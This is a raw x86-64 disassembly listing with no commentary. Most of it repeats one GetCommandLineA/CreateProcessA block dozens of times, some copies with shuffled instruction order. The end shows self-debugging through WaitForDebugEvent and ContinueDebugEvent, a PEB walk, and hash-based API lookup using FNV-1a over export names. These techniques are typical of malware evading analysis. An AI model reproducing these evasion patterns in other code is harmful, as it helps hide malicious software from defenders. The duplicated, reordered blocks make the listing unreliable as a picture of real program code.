mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rdx, rax
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rdx, rax
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov dword [rsp + 0x28], 0x400000
xor r8d, r8d
xor ecx, ecx
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rdx, rax
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov qword [rsp + 0x38], rdi
xor ecx, ecx
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rdx, rax
xor r9d, r9d
lea rax, [rbp - 0x78]
xor r8d, r8d
mov qword [rsp + 0x48], rax
xor ecx, ecx
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rdx, rax
xor r9d, r9d
lea rax, [rbp - 0x78]
xor r8d, r8d
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rdx, rax
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
xor r9d, r9d
mov dword [rsp + 0x20], edi
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rdx, rax
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
xor r9d, r9d
mov qword [rsp + 0x30], rdi
xor r8d, r8d
mov dword [rsp + 0x28], 0x400000
xor ecx, ecx
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rdx, rax
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
xor r9d, r9d
lea rax, [rbp - 0x60]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov edx, dword [rbp - 0x64]
mov r8d, 0x40010004
mov ecx, dword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_ContinueDebugEvent]
mov edx, 0xffffffff
lea rcx, [rbp + 0x1900]
call qword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
lea rcx, [0x1402a7ae0]
call fcn.140092090
lea ecx, [rdi + 8]
call fcn.14009a9e0
lea r13, [0x14008fdd0]
test rax, rax
je 0x14005395b
mov qword [rax], r13
jmp 0x14005395e
mov rax, rdi
lea rcx, [rbp + 0x78]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x14004ee60]
xor ecx, ecx
mov dword [rsp + 0x20], edi
xor edx, edx
call fcn.1400ca5d0
mov qword [rbp + 0x70], rax
test rax, rax
je 0x14005a121
mov r15d, 1
movaps xmmword [rsp + 0x1e00], xmm6
movaps xmmword [rsp + 0x1df0], xmm7
movaps xmmword [rsp + 0x1de0], xmm8
movaps xmmword [rsp + 0x1dd0], xmm9
movaps xmmword [rsp + 0x1dc0], xmm10
movaps xmmword [rsp + 0x1db0], xmm11
movaps xmmword [rsp + 0x1da0], xmm12
movaps xmmword [rsp + 0x1d90], xmm13
movaps xmmword [rsp + 0x1d80], xmm14
movaps xmmword [rsp + 0x1d70], xmm15
cmp dword [rbp + 0x78], edi
je 0x14005a195
movaps xmm0, xmmword [rbp + 0x70]
lea rcx, [rbp + 0x20]
movdqa xmmword [rbp + 0x20], xmm0
call fcn.140099b38
test eax, eax
jne 0x14005a135
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x70], xmm0
call fcn.140094400
test al, al
je 0x140053d1b
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140053ab7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140053ab7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140053ab2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140053a90
cmp r8d, 0x23a979e4
je 0x140053abc
test r9d, r9d
jne 0x140053a70
mov rax, qword [rax]
jmp 0x140053a40
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
mov edx, 0x10
lea rcx, [rbp + 0x1470]
add rbx, r10
call fcn.1400963c0
cmp qword [rax + 0x18], 0x10
jb 0x140053aee
mov rax, qword [rax]
movabs rcx, 0x27fb0dc6c7f7ea5
mov qword [rbp + 0x1bb0], r12
mov qword [rbp + 0x13e0], rcx
lea rdx, [rbp + 0x13e0]
movabs rcx, 0x61d48b892c5b7488
mov qword [rbp + 0x1bb8], r14
